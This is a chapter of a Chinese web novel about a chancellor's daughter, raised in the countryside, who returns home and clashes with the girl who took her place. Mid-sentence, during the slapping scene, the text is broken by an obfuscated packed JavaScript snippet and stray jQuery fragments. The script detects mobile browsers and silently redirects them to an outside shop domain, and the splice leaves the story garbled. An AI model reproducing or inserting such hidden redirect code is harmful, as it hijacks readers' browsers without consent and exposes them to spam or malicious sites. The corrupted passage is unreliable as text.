京城
一辆马车在丞相府门口停下,车里人撩开帘子,被婢女的搀扶着下车。身着粗布麻衣,未施粉黛,也掩盖不了姣好的面容,身形颀长,引得过路的人频频回头。
“她就是那个早年因为身体不好,被养在乡下的相府二小姐。长得是不错,不过一身寒酸气,和大小姐相比,倒像个丫鬟。”
路人的话一字不落钻进赵溪檀的耳朵里,看了眼身旁婢女的穿着,赵溪檀想,说得确实不错,但只限今天。
赵溪檀头戴抹额跟着婢女七拐八绕,被带到一处院子里,空地上零星种着几朵花,其余全是杂草,看上去有几分荒凉。打开房门,赵溪檀左顾右盼打量了一番。
比她在菱庄的住处好得不是一星半点,这么多年,她的好日子全被别人享了去,想到这,赵溪檀的心里瞬间不舒服,怪不得柳娘在临终前问自己会不会怪她。
“二小姐,夫人说多日的舟车劳顿辛苦了,让你歇一下,我再带你过去。”
赵溪檀闻言,愣了一下,摸着桌子的手收起来,转头对婢女道,“我不累,现在带我过去。”
“洗澡水已经放好了,二小姐不如先……”婢女有些为难,低着头,声音带有几分颤抖。
赵溪檀走到她面前,握住她的肩膀,强势逼她抬头,“你叫什么名字,来府里几年了。”赵溪檀声音平静,眼睛一眨不眨的盯着眼前的婢女,对方眼神忽闪,身体抖个不停,声音也抖。
“我叫海棠,今年是第二年,这些都是夫人吩咐的。”
赵溪檀心下了然,点了点头,松开手,走到房间门口的时候,转头对海棠道,“许久未归家,甚是想念父亲母亲,现在就带我过去,夫人若问罪,我一力承担。”
海棠使劲的点点头,利落跑过去,为赵溪檀带路。赵府很大,赵溪檀左右打量,在一处院子前停了下来。
海棠很有眼力劲的为赵溪檀介绍,“这是大小姐的院落,唤作椅轩阁,离夫人的院子很近。”
“我看着,怎么觉得比我的院子要大上不少。”
“按理来说,应该是大一些,比较的大的院子都集中在这一片。”海棠越说下去,声音越小,总觉得这位二姑娘不是个好相与的,害怕下一秒就对自己动手。
“你怕什么,我不打你。”不知何时,赵溪檀目光落在海棠身上,也露出今天的第一个笑容。
赵溪檀眼中平静,如波澜不惊的湖面,只是单纯的扯了扯嘴角。步伐比刚才快了不少,差点把海棠甩在身后,到了厅堂门口,海棠重重的松了口气,把门打开,任务完成了。
赵溪檀挑眉,有些好笑的看了海棠一眼。打开门的瞬间,里面的谈话声戛然而止。赵夫人宋氏率先起身,看到赵溪檀一身狼狈的模样,差点没晕过去,话都说不利索,“你、你怎么在这,不是让你先去歇息一下嘛,还把自己搞成这样。”
“女儿离家十八载,甚是想念父亲母亲。刚下马车,便急不可耐的赶来。”赵溪檀说着说着,垂头掩面抹泪,余光偷偷打量坐在上位的男人。
“啧,看来本世子今日来得不巧,既然丞相还有家事要忙,那我就不再叨扰了,告辞。”谢妄知起身离开,在路过赵溪檀身边时,视线不经意间对上,谢妄知展开手中的折扇,遮在鼻子处,下意识皱了皱眉,将头扭到一边。
随着谢妄知身影彻底消失,赵溪云忍不住站了起来,责怪的眼神盯着赵溪檀,胸口微微起伏,嘴唇蠕动着,最终什么话也没说,移开目光。
赵溪檀不是吓大的,早在对方用绝非善意的目光,看着她时,想也没想的瞪了回去。走到赵溪云的面前,赵溪檀倏然开口,“你就是柳娘的女儿,赵溪云,代替我在丞相府过好日子的人。”
赵溪云猛然站起来,直视赵溪檀,由于身高差距,有点仰视的感觉,“你是在怪我吗?我也是受害者,我当时只是嗷嗷待哺的孩童。”
“那既然我回来了,你就应该把位置让出来,回到你该待的地方,而不是一错再错,继续鸠占鹊巢。”赵溪檀步步紧逼,往前走了两步,赵溪云像泄了气的皮球,重新坐了回去,眼角湿润,委屈的目光转向宋氏,“娘亲……”
宋氏到底是和赵溪云做了多年母女,虽无血缘,但情分不减。冲过去握住赵溪云的手,用身体把她俩隔开,赵溪檀控制不住朝后退了两步。
“此事与云儿无关,你心中若有气,尽管发泄在我身上,我当年不该和柳娘那个小贱人有冲突,这样你和云儿就不会被换了。”宋氏情绪激动,肩膀颤抖,看向赵溪檀的目光尽是失望,“罪魁祸首是柳娘,那个从小抚育你长大的人。要不是她死了,我一定不会放过她。我对你是有亏欠,但你也要有个度,不要咄咄逼人,以后你和云儿都是相府的嫡女。”
“柳娘待我很好,你不能这么说她。我才是相府唯一的嫡女,如果拿回自己的东西,也算咄咄逼人,那我做什么算不咄咄逼人。”赵溪檀的声音陡然增大,心头划过一抹苦涩,转头看向站在一旁皱眉的赵海。
宋氏深吸一口气,努力控制自己的情绪,“你能不能乖巧懂事点,云儿从小在京城以丞相嫡女自居,忽然变成庶女,你让她怎么活。你初来乍到,京城的很多规矩还不知晓,让云儿带着你,也顺便建立你们姐妹俩的感情。”
“不需要。”赵溪檀的声音归于平静,充满希冀的眼神渐渐被另一种情绪所取代。
“檀儿,这十八年来,你受苦了,以后我会补偿你的,以后就好好和云儿相处。”赵海重重的摇了摇头,语重心长的对赵溪檀道。
赵溪檀没有回答,行了个不太标准的礼,“女儿累了,想去休息,父亲母亲再见。”
迈过门槛时,赵溪檀的眼睛暗了暗,挺直腰板,大步朝前走。
“这孩子,到底是白瞎了,希望日后不要出什么乱子才好。”
“刚来京城,不熟悉正常,只是檀儿已经十八岁了,恐怕不容易改。回头,你好好教她礼仪,物色几个好人家。”
“娘,我和勇毅候世子的婚事,可怎么办?”
“这好办,我改天带你登门拜访,跟谢夫人再多聊两句。”
赵溪檀越走越远,背后的声音也越来越小,明明是盛夏三伏天,赵溪檀却感到透心的冰冷。
“你个蠢货,我是怎么交代你的,连这点小事都做不好,你还有什么用,等夫人怪罪下来,就把你赶出府。”
一道训斥声吸引了赵溪檀的注意,定睛一看,低头落泪挨训的婢女不就是海棠吗?
赵溪檀快步走到海棠身边,把她拉到自己身后,“海棠是本小姐的婢女,你算什么东西,敢直接略过我。”
“我可是夫人身边的嬷嬷,瞧你的寒酸样,又是从哪个穷乡僻壤来的,我劝你赶紧离开,不然我连你一块轰出去。”嬷嬷作势就要推搡赵溪檀,海棠身体抖的厉害,断断续续吐出几个字,“她……是,二,小姐。”由于声音太小,一个字都没传到嬷嬷的耳朵里。
赵溪檀轻抬眼皮,手心发痒,下一秒,铆足了劲,一巴掌扇过去,“该被轰出去的人是你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17811143|210833||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,姑奶奶我叫赵溪檀,你记清楚了。”
“赵……,小姐,是老奴有眼不识泰山,你放过我吧。”嬷嬷瞬间怂了,连忙求饶,不停磕头谢罪。
赵溪檀“哼”了一声,没理她,牵着海棠走了。海棠心里有种说不出来的滋味,仰头看向赵溪檀的侧脸,嘴角不由自主上扬。
赵溪檀看见后,松开她的手,嘴角勾起一抹微笑,“你笑什么,现在不害怕我了。”
“小姐,你长得真好看。”
“废话,只要是眼不瞎,都看得出来。”赵溪檀从小就不怀疑自己的美貌,同玩的伙伴大部分都是面黄肌瘦的模样,而她长的像白瓷娃娃,尤为突出。
推开院门,赵溪檀看到略微狭小的院子,心情平静,向海棠问道,“我的院子叫什么名字?”
海棠轻皱眉头,嘴唇不自然的抿成一条线,大拇指指腹不停在食指关节处摩挲,略微思索,“这是小姐的院子,自然要小姐来取名。”
“那就叫千金阁,如何,好听吗?”
海棠在赵溪檀的期待下缓缓开口,“好听,小姐取得自是好听。”赵溪檀点头,对海棠的觉悟很是满意。
“以后你就在我的身边伺候,你愿意吗?不愿意的话……”
“愿意,我愿意。”还不等赵溪檀说完,海棠就迫不及待的应下。赵溪檀本想调侃她两句,怎么不怕自己了,可眼下觉得身心俱疲,就吩咐海棠去放洗澡水。
一入水,所有疲惫顷刻间烟消云散,心情也逐渐明朗起来,赵溪檀认真回想了下他们的态度,最后得出一个结论,他们并没有多期待自己的出现,甚至有种觉得她上不了台面的嫌弃,可嫌弃又如何,她赵溪檀只会按照自己的心意去活。柳娘曾告诉她,人活这一世,自己开心最重要,少管别人死活。
柳娘死前修书一封到京城,将真相全部和盘托出,大概就是打着不让宋府人好过的心思。赵溪檀十八年来,过得那叫一个肆意洒脱,整日想着去哪玩,想法子逗一逗程符时。想到程符时,赵溪檀心猛地沉下去,要是柳娘没死,自己没有来到京城,此刻大概已经和他成亲了。不过,幸好没捅破最后的窗户纸。
“小姐,夫人派人来送丫鬟,说是一定要让你亲自选。”
海棠的声音透着门缝传来,打断了赵溪檀的胡思乱想。赵溪檀从浴桶里起身,换上备好的新衣裳,仰头出去。
见是一个不相熟的老嬷嬷,赵溪檀缓和下板着的脸色,她还以为是有人找她算账,“我不喜欢太多人伺候,留下两个打扫的丫鬟就行了。”
“这……”老嬷嬷欲言又止,看着身后浩浩荡荡一队人,斟酌着开口,“府上规矩是小姐身边不能低于八个洒扫丫鬟,两个贴身婢女,海棠入府不久,年龄尚轻,恐会怠慢了小姐。”
赵溪檀一听她巴拉一堆规矩,头都大了,扶额蹙眉,“我明白你的意思,不让你难做,留下四个洒扫丫鬟,其他人带回去。我从小在乡下长大,没那么娇气。至于海棠,合我眼缘。”
“既然如此,你们几个留下来伺候二小姐,其余人跟我走。”老嬷嬷转头对着最末尾的四名丫鬟道,在走之前传达宋氏的指令,“另外,二小姐今晚就好好休息,明日一早再来认识府里的其他人。”
老嬷嬷走后,赵溪檀向那四个丫鬟招了招手,“你们几个先下去休息,明日一早把庭院的花啊,草啊,打理干净,海棠你也是,去休息。”
把所有人都打发走了,赵溪檀收拾起从菱庄带来的物件,而后躺在床上,很快进入了梦乡。